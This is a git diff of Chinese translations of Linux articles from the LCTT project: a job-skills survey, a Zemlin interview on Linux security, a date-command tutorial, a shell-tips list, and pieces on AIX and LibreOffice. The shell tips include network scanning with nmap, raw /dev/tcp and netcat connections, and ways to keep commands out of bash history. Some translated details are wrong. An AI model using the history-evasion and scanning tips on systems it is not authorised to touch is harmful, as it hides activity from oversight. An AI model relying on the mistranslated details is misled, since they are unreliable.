||||
在IT技能清单这篇文章中，LinuxCareer.com分析了2013年5月到6月底的Linux工作清单，我们在这个基础上将2013年7月到9月底这个时间段的更新也加至分类分析中。10类相关的IT技能在Linux招聘广告中出现的比率列于如上[条形图][1]中。[IT分类][2]图表表明如何基于分类设计出此条形图。我们可以看到，IT技能需求前三组为：占据27%的Linux就业市场份额的嵌入式开发人员需求，占20%就业份额的虚拟化技术工程师和占12%Linux就业份额的LAMP管理员。文章接下来的三部分将围绕这三项IT技能需求组及三者的相互关系展开详细的讨论。例如，MySQL和PHP这两项技能有强关联性，通常雇主都会一起考虑。另外要指出的是，LinuxCareer.com的这项调查里掌握Linux的基础知识已默认存在于任一招聘需求中。
|
||||
|
||||
### 嵌入式开发人员及程序员 ###
|
||||
需求最高的第一类技能组是针对嵌入式开发人员及程序员的。如下的[依赖图][2]详细阐明了技能间的关联关系，尤其表明了哪几项技能更可能同时出现在Linux招聘需求中。例如，嵌入式开发非常需要C/C++/C#相关技能，而这些语言要么在图表下部的深色矩形区域，要么在图表上部的对应圆形阴影中聚集。
|
||||
|
||||
总体来说，这组技能可以进一步细分成如下三类：
|
||||
1. **Android, Embedded, C/C++/C# and Java**.如果您准备在嵌入式领域发展，这些是你需要掌握的核心技能，而C/C++/C#或Java掌握其一便可满足雇主需求，因为Java是基于部分C/C++/C#性能的扩展性语言。如果您阅读了8月的IT技能表，就会发现，Java以9513分居于编程语言的榜首，而C/C++/C#是5403分。如果您尚在犹豫是掌握C/C++/C#还是Java，从技能表得分看起来Java应该是更好的选择。但根据如下图表显示，C/C++/C#似乎在嵌入式领域的招聘需求中更受欢迎。总结可得尽管Java在IT技能表中有更高的得分，但在嵌入式开发职位上掌握C/C++/C#会比Java更有用。
|
||||
|
||||
1.** Python, Perl and Bash**.这些是对脚本编程语言技能的补充。对Perl和Python语言的需求经常会在招聘中同时出现，当然，也可以理解成这两种语言技能都是需要掌握的。
|
||||
|
||||
2. **Git, Subversion and Jira**.这些软件知识会应用到源码管理、调试和项目管理中，同时了解这几个方面的知识对相关项目的编程大有裨益。目前，主流开源项目和大量合作项目都在用类似的软件管理他们的源码。
|
||||
|
||||
|
||||
### 涉及数据仓储及管理的虚拟化技术工程师 ###
|
||||
目前第二大需求技能组是如下[依赖图][2]所示与虚拟化技术工程师相关的技能。这一组可进一步细分成两部分，第一部分是Redhat, VMware, vSphere, ESX/ESXi, XenServer and Citrix，这些技能对寻求虚拟化技术工程师的工作很重要；第二部分是同Unix系统、数据仓储及管理相关的技能。同时这两部分是紧密联系的。显然VMware和ESX/ESXi及vSphere是相关的，因为ESX/ESXi是VMware虚拟机下提供的虚拟产品，而vSphere是VMware虚拟机的云端虚拟操作系统。Redhat和VMware、Citrix产品被分到同一部分同样有其原因。这里Solaris和AIX具有密切关系的原因可以理解为它们都是专有的Unix系统，掌握其一便可。
|
||||
|
||||
|
||||
### LAMP管理员 ###
|
||||
最后，第三大技能组是如下[依赖图][2]中显示雇主需求的LAMP管理员应具备的技能。LAMP是Linux、Apache、MySQL和PHP的简称，所有这四项内容是作为一名LAMP管理员所要了解的核心。这是一组相对来说小规模却会引领你至在Linux路途中发展更远的技能。实际上，PHP和MySQL的密切关系表明这些技能中的任一项都不能脱离其它技能来单独掌握。
|
||||
|
||||
|
||||
### 总结 ###
|
||||
本文基于就业能力和Linux专业人员需求技能分组阐明了两点。第一点是对经常出现的IT技能通过集群分析划出了10类IT技能组；第二点是基于Linux工作需求与相应技能组的对应结果，嵌入式程序员在Linux招聘需求比率最高，第二及第三技能需求比率最高的领域分别对应虚拟化技术工程师及LAMP管理员领域。这三大技能组即为上一季度分析出的Linux技能需求的核心。
|
||||
|
||||
### 参考 ###
|
||||
[1] Percentage of Linux job ads linked with corresponding skill groups created by [GNU R][3]. Relevant package: graphics.
|
||||
|
||||
[2] Dependency charts created by [GNU R][3]. Relevant package: corrgram.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.linuxcareer.com/insights-into-top-3-it-skills-groups-in-highest-demand
|
||||
|
||||
译者：[icybreaker](https://github.com/icybreaker) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.linuxcareer.com/it-skill-sets
|
||||
[2]:http://www.linuxcareer.com/images/Linux_jobs_classification_jul_oct_2013.png
|
||||
[3]:http://www.r-project.org/
|
||||
@ -1,91 +0,0 @@
|
||||
Linux 宗旨：‘开源很安全，Linux比其它任何系统都安全’
|
||||
|
||||
================================================================================
|
||||
在对Linux基金会执行官，Jim Zemlin 的采访中，VentureBeat 展望了2014开源操作系统的未来。
|
||||
|
||||
We also addressed the controversial issues of government spying and “backdoors” — those nefarious windows into our personal online lives that the public recently discovered in most of the services we use every day.
|
||||
|
||||
我们也探讨了争议性的话题，就是政府部门的监听事件以及‘后门’-那些邪恶的窗口，窥探我们网上的私生活，最近公众发现我们经常使用的大多数服务都有类似的遭遇。
|
||||
|
||||
Zemlin gave us the skinny on how and why GNU/Linux remains the most secure option for concerned consumers — and why it’s becoming the OS of choice for powering cars, phones, TVs, and all kinds of emerging devices.
|
||||
Zemlin 为我们解释了 GNU/Linux 为什么以及如何使自身成为内心有些担忧的消费者的最安全的选择。还有就是为什么选择GNU/Linux作为车载操作系统，TVs以及其他新兴设备的操作系统。
|
||||
|
||||
以下是我们e-mail问答形式的实录。
|
||||
|
||||
----------
|
||||
|
||||
**VentureBeat: 安全和隐私成为今年的热门话题，我们听到的谣言，Linus[Torvalds, Linux 创始人]对政府部门是否有安装后门的要求点头称是。**
|
||||
|
||||
**Zemlin**: Linux是否有后门，你是可以知道的.
|
||||
|
||||
世界上所有人都可以看到Linux的每一行代码。这也是linux要比其他操作系统更安全、开源整体要比闭源更安全的原因之一。代码的透明度保证了它的安全性。
|
||||
|
||||
And for the record: He wasn’t approached.
|
||||
记录在案的是：后门并没有进入到linux。
|
||||
|
||||
**VentureBeat: Linux基金会如何保证Linux用户的隐私和自由，使其免于遭受追踪和监视？**
|
||||
|
||||
**Zemlin**: 对此，我们一以贯之。向内核插入违反隐私权和背离自由精神的代码而不被成千上万的开发者注意到，这是很难的。Linux的本性就是自我定制。
|
||||
|
||||
**VentureBeat: 今年的隐私/安全/监视事件会不会促使, 或者将会促使更多的消费者倾向于Linux，对此你作何感想？**
|
||||
|
||||
**Zemlin**: 世界范围内，我听到人们都在说，“用开源保证隐私是必须的。”的确，那会促使更多的使用者选择Linux。
|
||||
|
||||
除了他们对linux平台下的隐私和安全持自信、信任的态度以外， 我认为消费者会基于多种原因选择Linux。
|
||||
代码的透明性以及开发过程逐渐给予博学和警觉的消费者一个选择，一个会让他们对linux感觉良好的选择。
|
||||
|
||||
[视频游戏发行商] Valve [及其SteamOS下的工作][1] 正在促使更多的消费者走进Linux，就像逐渐占据主导的Android和其他运行Linux的电子设备一样，比如电视、家电、汽车等，当然还有更多。
|
||||
|
||||
**VentureBeat: 针对手机的Ubuntu Edge, 对它有何看法？ 对于2014-2015年Linux/Ubuntu手机市场走势，你作何预测？*
|
||||
|
||||
**Zemlin**:我希望看到潜在的有趣的新产品进入市场，尤其是基于Linux的产品。很难说每年哪款产品会成为手机市场的新宠。
|
||||
|
||||
我认为预测基于Linux的手机将占据主导地位，不算夸大事实。Android, Tizen, Ubuntu, Firefox,等等等等，都显示出Linux可以驱动手机市场的创新，并且为消费者创造新的体验，为开发者和OEMs创造机会。
|
||||
|
||||
明年令人振奋的及我所关注的，就是，linux和开源界如何把这些设备、对象和服务关联到一起。
|
||||
|
||||
**VentureBeat: What’s the most exciting use case you’ve seen so far for Linux embedded in automobile systems?**
|
||||
**VentureBeat: 目前为止，你看到的linux嵌入式车载系统的最令人激动的使用案例是什么？**
|
||||
|
||||
**Zemlin**: 毫无疑问，就是，Cadillac, Tesla, Toyota, Jaguar, Land Rover等都搭建了车载信息娱乐系统。
|
||||
|
||||
比如，今年赢得了 “年度汽车族”奖项的Tesla Model S，装备了一个17英寸平面、运行着定制Linux的电脑。这真的是太酷了。
|
||||
|
||||
2014年度汽车族刚刚揭晓 -- Cadillac CTS sedan, 也是使用linux作为车载信息娱乐系统。汽车制造商有能力使用linux进行创新并区别使用这些系统。
|
||||
|
||||
Linux的成功也能从来自IHS汽车的最新数据上看到，IHS本月报告称，在全球车载信息娱乐市场，基于linux的汽车销量2020年有望达到5.37千万，超过微软和黑莓QNX。
|
||||
|
||||
Linux基金会协同汽车级Linux工作组在该领域做了许多工作。通过在Linux内核社区，其他开源社区，以及汽车行业，营造一个中立、支持性的环境，针对一些世界上大的汽车制造商如日产，捷豹，路虎，丰田，等等，我们可以帮助其推动汽车linux技术。
|
||||
|
||||
**VentureBeat: 在硬核开发者市场以外，Linux是如何发展壮大的，尤其是考虑到消费者和游戏玩家？**
|
||||
|
||||
**Zemlin**:可以肯定的是，对游戏玩家来说，今年是linux的一个转折点。Valve, 基于Steam网络平台的一个游戏厂商，在linux上构建并运行所有的源代码和动画。Valve CEO Gabe Newell 称，今年的LinuxCon大会上他们在linux平台运行了198个游戏，随着引进基于linux的Stream，这个数字还会上升。这是Linux和游戏界新趋势的开端。
|
||||
|
||||
用户每天都在用linux。软件支撑着我们的日常生活。像Google，Facebook还有Twitter等公司，都建立在Linux和开源软件之上。去年10月份LinuxCon欧洲大会上，来自Twitter的Chris Aniszczyk告诉观众：
|
||||
“Twitter 理所当然完全运行在linux上。为什么你们还需要其他的东西？”(言外之意就是有linux就够了，不需要别的什么东西了。)
|
||||
|
||||
如今Linux驱动着130万台日常用Android手机，每天近60万基于linux的新电视售出。新的家电以及汽车都建立在linux之上。主要交通系统也都在使用linux。最受欢迎的[GoPro 使用linux和开源软件][2]。举不完的例子。
|
||||
|
||||
Linux和开源理念将会逐渐融入主流消费者的生活。三星使用linux内核以及基于linux的产品充实它的产品线，从电视机到手机，再到家电，等等等等。
|
||||
|
||||
敬请关注 - 你会看到更多的实例，无不展现出Linux和开源软件以及协同开发在日常生活中发挥越来越大的作用。
|
||||
|
||||
**VentureBeat: 在你看来，到2014年，免费和开源软件最大的机遇会是什么？**
|
||||
|
||||
**Zemlin**: 我们已经谈到游戏和电子设备，但是企业将会继续为linux呈现更多的机会。云计算的兴起为开发者带来新的机遇和挑战。你试着去找找没有运行在linux上的公共云。
|
||||
|
||||
软件定义的网络实现将成为2014年的主要活动之一。人们并没有期望着软件定义网络以及网络功能虚拟化变得多么大。想想吧。数十亿美元花费在硬件上，交换机，路由，负载均衡器，防火墙等等。这些都抽象成了软件。更更重要的是,它是在开源软件的基础架构甜蜜点OSS层被抽象。我认为你会看到，像OpenDaylight项目以及其他项目，在2014年都会有大的突破。
|
||||
|
||||
当然，这只是实现协同发展的大趋势的一部分，你的读者应该会对此感兴趣。我的推测是再过一个20年，几乎所有的基础软件都会议协同开发的方式进行构建。2014年开发者需要学习如何以协同方式构建软件，要学会如何参与开源项目并且贡献代码。如果开发者能够理解协同开发和开源的原则和理念，那么他们职业生涯中的机遇将会是无穷的。
|
||||
|
||||
参与到linux的世界中来，这是一个激动人心的时刻。从智能手表到电视机，到汽车，所有你能想到的，Linux成为事实上的平台。
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://venturebeat.com/2013/11/26/linux-chief-open-source-is-safer-and-linux-is-more-secure-than-any-other-os-exclusive/
|
||||
|
||||
译者：[译者ID](https://github.com/l3b2w1) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://venturebeat.com/2013/09/23/steamos-valves-linux-based-operating-system-for-the-tv-and-living-room/
|
||||
[2]:http://gopro.com/support/open-source
|
||||
@ -0,0 +1,142 @@
|
||||
Linux date命令 - 显示和设置系统日期与时间
|
||||
================================================================================
|
||||
|
||||
|
||||
操作系统上的时间或许只被认为是时钟。特别在控制台下, 我们通常不认为date重要。但是对于管理员,这个假设是错误的。你知道错误的日期和时间会使你不能编译程序么?
|
||||
|
||||
因为日期和时间的重要,这或许就是开发网络时间协议(Network Time Protocol)的原因。让我们开始了解date命令是如何工作的。
|
||||
|
||||
### 显示系统日期 ###
|
||||
|
||||
要显示系统日期,只要输入:
|
||||
|
||||
$ date
|
||||
Thu Dec 5 22:55:41 WIB 2013
|
||||
|
||||
### 格式化日期 ###
|
||||
|
||||
日期有很多格式。如果你不喜欢默认的格式,你可以转换它。你可能会想"为什么我需要改变格式? 默认的输出对我足够了。" 是这样的。但是当你在编程时,默认输出或许无法满足用户的需求。因此这里有一些自定义输出。
|
||||
|
||||
### RFC 2822 的日期与时间输出格式 ###
|
||||
|
||||
$ date -R
|
||||
Thu, 05 Dec 2013 23:40:53 +0700
|
||||
|
||||
**RFC 2822** 的格式像这样 : **星期, 日-月-年, 小时:分钟:秒 时区**
|
||||
时区 +0700 等同于 GMT +7。
|
||||
|
||||
默认上**date**使用的是定义在**/etc/localtime**的时区。有效时区数据定义在**/usr/share/timezones**。
|
||||
|
||||
### 打印或者设置协调世界时 ###
|
||||
|
||||
在 [Wikipedia][1]上, UTC 意思是
|
||||
|
||||
> 主要的调节世界时钟和时间的标准。这是格林位置标准时间几个非常相近的继任者之一。
|
||||
|
||||
以UTC形式显示日期和时间, 使用 -u 参数
|
||||
|
||||
$ date -u
|
||||
Thu Dec 5 16:45:58:UTC 2013
|
||||
|
||||
### 使用格式化选项 ###
|
||||
|
||||
要自定义你的日期格式, **使用加号 (+)**
|
||||
|
||||
$ date +”Day : %d Month : %m Year : %Y”
|
||||
Day: 05 Month: 12 Year: 2013
|
||||
|
||||
$ date +%D
|
||||
12/05/13
|
||||
|
||||
**%D** 格式遵循 **年/月/日 的格式**.
|
||||
|
||||
如果你想的话,你可以输出日期的名字。下面是一些例子:
|
||||
|
||||
$ date +”%a %b %d %y”
|
||||
Fri 06 Dec 2013
|
||||
|
||||
$ date +”%A %B %d %Y”
|
||||
Friday December 06 2013
|
||||
|
||||
$ date +”%A %B %d %Y %T”
|
||||
Friday December 06 2013 00:30:37
|
||||
|
||||
$ date +”%A %B-%d-%Y %c”
|
||||
Friday December-06-2013 12:30:37 AM WIB
|
||||
|
||||
还有很多的日期格式。只要输入:
|
||||
|
||||
$ date –help
|
||||
|
||||
或者
|
||||
|
||||
$ man date
|
||||
|
||||
来显示date命令的语法和参数。
|
||||
|
||||
基本上,date命令会翻译所有所有的百分号(%)和打印打印在引号("")内所有的内容。
|
||||
|
||||
### 设置系统日期和时间 ###
|
||||
|
||||
通常地,你希望你的系统日期和时间是自动设置的。如果由于一些原因,你想要手动修改它,我们可以使用这个命令。
|
||||
|
||||
# date –set=”20140125 09:17:00”
|
||||
|
||||
这会**设置**你当前的系统日期和时间到**一月 25, 2014 and 09:17:00 AM。请注意**,你**必须**拥有特权来这么做。不然你会得到这样一个错误。
|
||||
|
||||
date: cannot set date: Operation not permitted
|
||||
Sat Jan 25 09:17:00 WIB 2014
|
||||
|
||||
### 重置你的时间 ###
|
||||
|
||||
如果你希望重置你的系统日期和时间到原始值,你可以用这个技巧。
|
||||
|
||||
# hwclock
|
||||
Fri 06 Dec 2013 03:44:10 AM WIB -0.314082 seconds
|
||||
|
||||
这回设置你的系统日期和时间到hwclock命令的输出的样子
|
||||
|
||||
### 在脚本中使用date命令 ###
|
||||
|
||||
还记得我之前说为什么你需要改变date的输出么?一个答案是你或许需要编程。让我们看下bash脚本下的一个例子。
|
||||
|
||||
$ vi display.date
|
||||
|
||||
#! /bin/bash
|
||||
DATETIME=$(date +”DATE: %a %b-%d-%Y TIME: %T WEEK NUMBER: %W”)
|
||||
echo $DATETIME
|
||||
|
||||
保存并运行它:
|
||||
|
||||
$ ./display.date
|
||||
DATE : Fri Dec-06-2013 TIME: 03:08:19 WEEK Number :40
|
||||
|
||||
如果你发现权限拒绝错误信息,输入:
|
||||
|
||||
$ chmod 755 display.date
|
||||
|
||||
### 在备份流程中使用date ###
|
||||
|
||||
另外一个例子是子你备份流程中使用date。
|
||||
|
||||
$ date +%F
|
||||
2013-12-06
|
||||
|
||||
$ tar zcfv /daily_backup/backup-`date +%F`.tar.gz /home/pungki/Documents
|
||||
|
||||
|
||||
它会压缩文件夹**/home/pungki/Documents**到一个位于**/daily_backup folder**的文件**backup-2013-12-06.tar.gz**中。
|
||||
|
||||
### 总结 ###
|
||||
|
||||
date可能被认为在某些方面不重要。但是date扮演了一个重要的角色。通常上,要想知道关于date命令更多的细节,在你的控制台下输入man date访问man页面。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/date-command-linux/
|
||||
|
||||
译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://en.wikipedia.org/wiki/Coordinated_Universal_Time
|
||||
310
translated/Linux shell tips and tricks.md
Normal file
310
translated/Linux shell tips and tricks.md
Normal file
@ -0,0 +1,310 @@
|
||||
Linux sheel 贴士和技巧
|
||||
================================================================================
|
||||
我日常使用Linux shell(Bash),但是我经常忘记一些有用的命令或者shell技巧。是的,我能记住一些命令但是我不能说只在特定的任务上使用一次。那么我就开始在我的Dropbox账号里用文本文件写下这些Linux shell的贴士,现在我决定共享它。这个表我以后还会更新。记住,这里的一些贴士需要在你的Linux发行版上安装额外的软件。
|
||||
|
||||
在bash中检查远程端口是否打开:
|
||||
|
||||
echo >/dev/tcp/8.8.8.8/53 && echo "open"
|
||||
|
||||
终止进程:
|
||||
|
||||
Ctrl + z
|
||||
|
||||
将进程移到前台:
|
||||
|
||||
fg
|
||||
|
||||
生成随机16进制数字,n是字符的数量:
|
||||
|
||||
openssl rand -hex n
|
||||
|
||||
在当前shell中从一个文件中执行命令:
|
||||
|
||||
source /home/user/file.name
|
||||
|
||||
提取前5个字符的字串:
|
||||
|
||||
${variable:0:5}
|
||||
|
||||
SSH调试模式:
|
||||
|
||||
ssh -vvv user@ip_address
|
||||
|
||||
带pem key的SSH
|
||||
|
||||
ssh user@ip_address -i key.pem
|
||||
|
||||
用wget获取完整目录列表到本地目录:
|
||||
|
||||
wget -r --no-parent --reject "index.html*" http://hostname/ -P /home/user/dirs
|
||||
|
||||
创建多个目录:
|
||||
|
||||
mkdir -p /home/user/{test,test1,test2}
|
||||
|
||||
列出带子进程的进程树:
|
||||
|
||||
ps axwef
|
||||
|
||||
创建war文件:
|
||||
|
||||
jar -cvf name.war file
|
||||
|
||||
测试磁盘写速度:
|
||||
|
||||
dd if=/dev/zero of=/tmp/output.img bs=8k count=256k conv=fdatasync; rm -rf /tmp/output.img
|
||||
|
||||
测试磁盘读速度:
|
||||
|
||||
hdparm -Tt /dev/sda
|
||||
|
||||
从文本中获取md5值:
|
||||
|
||||
echo -n "text" | md5sum
|
||||
|
||||
检测xml语法:
|
||||
|
||||
xmllint --noout file.xml
|
||||
|
||||
在新的目录中提取tar.gz文件:
|
||||
|
||||
tar zxvf package.tar.gz -C new_dir
|
||||
|
||||
用curl获取HTTP头:
|
||||
|
||||
curl -I http://www.example.com
|
||||
|
||||
修改一些文件或目录的时间戳 (YYMMDDhhmm):
|
||||
|
||||
touch -t 0712250000 file
|
||||
|
||||
使用wget从ftp下载:
|
||||
|
||||
wget -m ftp://username:password@hostname
|
||||
|
||||
生成随机密码 (本例中16位字符长):
|
||||
|
||||
LANG=c < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;
|
||||
|
||||
快速创建一个文件的备份:
|
||||
|
||||
cp some_file_name{,.bkp}
|
||||
|
||||
访问Windows共享:
|
||||
|
||||
smbclient -U "DOMAIN\user" //dc.domain.com/share/test/dir
|
||||
|
||||
在历史中运行命令 (这里在第100行):
|
||||
|
||||
!100
|
||||
|
||||
unzip到目录中:
|
||||
|
||||
unzip package_name.zip -d dir_name
|
||||
|
||||
多行文字 (按 CTRL + d 退出):
|
||||
|
||||
cat > test.txt
|
||||
|
||||
创建空白的文件或者已存在的文件:
|
||||
|
||||
> test.txt
|
||||
|
||||
从Ubuntu NTP服务器上更新日期:
|
||||
|
||||
ntpdate ntp.ubuntu.com
|
||||
|
||||
netstat 显示所有tcp4监听的端口:
|
||||
|
||||
netstat -lnt4 | awk '{print $4}' | cut -f2 -d: | grep -o '[0-9]*'
|
||||
|
||||
将qcow2图像转化成raw:
|
||||
|
||||
qemu-img convert -f qcow2 -O raw precise-server-cloudimg-amd64-disk1.img \
|
||||
precise-server-cloudimg-amd64-disk1.raw
|
||||
|
||||
重复运行命令,显示它的输出 (默认2s刷新):
|
||||
|
||||
watch ps -ef
|
||||
|
||||
显示所有用户:
|
||||
|
||||
getent passwd
|
||||
|
||||
以读写模式挂载root:
|
||||
|
||||
mount -o remount,rw /
|
||||
|
||||
挂在目录 (适合于符号链接不成功的情况下):
|
||||
|
||||
mount --bind /source /destination
|
||||
|
||||
发送动态更新给DNS:
|
||||
|
||||
nsupdate < <EOF
|
||||
update add $HOST 86400 A $IP
|
||||
send
|
||||
EOF
|
||||
|
||||
递归grep所有目录
|
||||
|
||||
grep -r "some_text" /path/to/dir
|
||||
|
||||
列出10个最大的已打开的文件:
|
||||
|
||||
lsof / | awk '{ if($7 > 1048576) print $7/1048576 "MB "$9 }' | sort -n -u | tail
|
||||
|
||||
以MB显示空余内存:
|
||||
|
||||
free -m | grep cache | awk '/[0-9]/{ print $4" MB" }'
|
||||
|
||||
打开vim并跳转到文件最后:
|
||||
|
||||
vim + some_file_name
|
||||
|
||||
git clone特定branch (master):
|
||||
|
||||
git clone git@github.com:name/app.git -b master
|
||||
|
||||
git切换到另外一个branch (develop):
|
||||
|
||||
git checkout develop
|
||||
|
||||
git删除一个branch(myfeature):
|
||||
|
||||
git branch -d myfeature
|
||||
|
||||
Git删除一个远程branch:
|
||||
|
||||
git push origin :branchName
|
||||
|
||||
Git push 新的branch到远程:
|
||||
|
||||
git push -u origin mynewfeature
|
||||
|
||||
打印history中最后的cat命令
|
||||
|
||||
!cat:p
|
||||
|
||||
运行history中的最后的cat命令:
|
||||
|
||||
!cat
|
||||
|
||||
找出在/home/user中的所有空子目录:
|
||||
|
||||
find /home/user -maxdepth 1 -type d -empty
|
||||
|
||||
得到test.txt中50到60行的文本:
|
||||
|
||||
< test.txt sed -n '50,60p'
|
||||
|
||||
运行最后的命令 (如果是: mkdir /root/test, 下面会运行: sudo mkdir /root/test):
|
||||
|
||||
sudo !!
|
||||
|
||||
创建临时RAM文件系统 - ramdisk (首先创建在 /tmpram 目录):
|
||||
|
||||
mount -t tmpfs tmpfs /tmpram -o size=512m
|
||||
|
||||
Grep完整单词:
|
||||
|
||||
grep -w "name" test.txt
|
||||
|
||||
需要特权模式在一个文件后追加文本:
|
||||
|
||||
echo "some text" | sudo tee -a /path/file
|
||||
|
||||
列出所有的kill信号:
|
||||
|
||||
kill -l
|
||||
|
||||
生成随机密码 (本例中16个字符长):
|
||||
|
||||
openssl rand -base64 16
|
||||
|
||||
在bash历史中不记录最后的会话:
|
||||
|
||||
kill -9 $$
|
||||
|
||||
扫描网络找出打开的端口:
|
||||
|
||||
nmap -p 8081 172.20.0.0/16
|
||||
|
||||
设置git email:
|
||||
|
||||
git config --global user.email "me@example.com"
|
||||
|
||||
如果你有未提交的commit,与master同步:
|
||||
|
||||
git pull --rebase origin master
|
||||
|
||||
将文件中含有txt的所有文件移动到/home/user:
|
||||
|
||||
find -iname "*txt*" -exec mv -v {} /home/user \;
|
||||
|
||||
一行行合并文件:
|
||||
|
||||
paste test.txt test1.txt
|
||||
|
||||
shell中的进度条:
|
||||
|
||||
pv data.log
|
||||
|
||||
用netcat发送数据给服务器:
|
||||
|
||||
echo "hosts.sampleHost 10 `date +%s`" | nc 192.168.200.2 3000
|
||||
|
||||
转换tab到空格:
|
||||
|
||||
expand test.txt > test1.txt
|
||||
|
||||
跳过bash历史:
|
||||
|
||||
< <space>>cmd
|
||||
|
||||
回到先前的工作目录:
|
||||
|
||||
cd -
|
||||
|
||||
切割大的tar.gz文件 (每个 100MB) 并还原:
|
||||
|
||||
split –b 100m /path/to/large/archive /path/to/output/files
|
||||
cat files* > archive
|
||||
|
||||
用curl获取HTTP状态值:
|
||||
|
||||
curl -sL -w "%{http_code}\\n" www.example.com -o /dev/null
|
||||
|
||||
当 Ctrl + c 没用时:
|
||||
|
||||
Ctrl + \
|
||||
|
||||
获取文件所有者:
|
||||
|
||||
stat -c %U file.txt
|
||||
|
||||
列出块设备:
|
||||
|
||||
lsblk -f
|
||||
|
||||
找出末尾空格的文件:
|
||||
|
||||
find . -type f -exec egrep -l " +$" "{}" \;
|
||||
|
||||
找出用tab缩进的文件:
|
||||
|
||||
find . -type f -exec egrep -l $'\t' "{}" \;
|
||||
|
||||
用"="打印水平行
|
||||
|
||||
printf '%100s\n' | tr ' ' =
|
||||
|
||||
**更新: 2013年11月25日**
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.techbar.me/linux-shell-tips/
|
||||
|
||||
译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
24
translated/Proprietary Unix Continues to Fall.md
Normal file
24
translated/Proprietary Unix Continues to Fall.md
Normal file
@ -0,0 +1,24 @@
|
||||
专有 Unix 持续缩减
|
||||
================================================================================
|
||||
国际数据公司（IDC）的分析师在周三投寄了一篇[新闻稿][1]凸显出IBM 的 AIX 系统和 P-系列的硬件持有量已经快速下降。伴随着专有 Unix 系统下跌的同时，相关的运行着 Linux 系统的 X86 服务器销量却在崛起。IBM 已经明确指出这是一个长期趋势，所以投资了10亿美元用在基于 Power 系统的 Linux 开发。与新闻报道的 AIX 20％销售额下降的同时，我的这篇文章终于发布出来。
|
||||
|
||||
过去数年中，我在管理 AIX 和 Linux 系统上一点都不顺利，如果能让我挑选的话，会选择灵活性和易用性更好的 Linux 系统和稳定性更高的 Power 机器。根据我的经验， AIX 很难设置，在设置好要变动也很困难，但一旦设置好并启动起来，它就会一直很好的运行下去。一台配置合适的 AIX 服务器可以正常运行数年而无需干预，但是需要修改配置的时候，并且经常需要修改配置，就准备好长期的艰苦跋涉吧。相比之下，经过这么多年来，成千上万的开发人员和系统管理员，以及大牌公司的贡献，使得Linux更易于管理。根据[资讯天地][2]报道：
|
||||
|
||||
> Linux服务器市场正在健步崛起，服务器总销量占总收入的百分比高达28％，所以任何可以提高市场占有率的投资，将会非常有价值，即使大部分份额的Linux服务器仍然是商用 x86 硬件。
|
||||
|
||||
Intel 和 AMD 的硬件也现跨越式发展，正在缩小与 Power 机器的性能差距。当我听到一个新的刀片上配置 10GB 的以太网卡已经成为标准、256GB 的 RAM 已经很正常了以及普通业务需要订购装有 16 核 CPU 的服务器已经成为常态时，吃惊不小。Intel 服务器和 IBM 的 Power 服务器性能差不多，但价格低很多。因为企业的观注点在于是否逃脱“顾问软件”及 IBM 的供应商锁定，所以在行业标准的x86硬件上运行的开源软件正变得越来越有吸引力。然而，IBM已经降低了 Power 系列机器的价格来保持竞争力。
|
||||
|
||||
这说明， IBM 选择投入在基于 Power 机器的 Linux 系统而不是 AIX 系统。 IBM 可能已经开发出现代版的 AIX，并使用通用的开源工具以使交互操作性更好。尽管 IBM 声明 AIX 仍然是重要的，但在 Power 机器的销售额持续下降，伴随的是 Linux 方面的投入，这一切的一切都正在翻开新故事的新篇章。
|
||||
|
||||
IBM 不可能一切都以 AIX 为核心，但他们可能会无限期的延长其使用寿命。如果 AIX 做为开源系统发布，看看市场的反映，将会十分精彩。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://ostatic.com/blog/proprietary-unix-continues-to-fall
|
||||
|
||||
译者：[runningwater](https://github.com/runningwater) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.idc.com/getdoc.jsp?containerId=prUS24476413
|
||||
[2]:http://www.infoworld.com/t/unix/ibms-losing-ground-unix-and-oracle-may-follow-232234
|
||||
@ -0,0 +1,30 @@
|
||||
高级研究人员分析 LibreOffice 得出的有趣结论
|
||||
================================================================================
|
||||
用户、编辑、国务院、团队和城管都正享用着 [LibreOffice][1] 这样一套免费的开源办公套件。而这套办公套件，也因在全球范围内通过越来越多人的使用和积极的反馈，证明了自身的成功。
|
||||
|
||||
不但用户们感到 LibreOffice 的不妥协和强大之外，通过“分支之后开源软件社区的可持续发展：LibreOffice 是如何演变的？为什么？”这一文档，认真的研究人员还似乎发现并且把 LibreOffice 描述为真正的成功。
|
||||
|
||||
本质上来说。“分支之后的开远软件社区的可持续发展：LibreOffice 是如何演变的？为什么？”是一篇研究 LibreOffice 和它的组成的文档，其中涉及研究的组成部分包括从地位到公众的看法、未来的功能、吸引支持者和参与者的能力。
|
||||
|
||||
上述提到的文档得到的结论，自然而然地谈到 LibreOffice 在各个方面的成功，例如：
|
||||
|
||||
- “LibreOffice 项目是 OpenOffice.org 项目的一个分支，并没有显示出长期衰退的迹象。”
|
||||
- “在 OpenOffice.org 中，LibreOffice 吸引了许许多多长期并且非常活跃的提交者。”
|
||||
- “开源社区比开源软件项目长寿”
|
||||
- “LibreOffice 被它的社区视为是可支持的、多元化的和独立的”
|
||||
|
||||
|
||||
|
||||
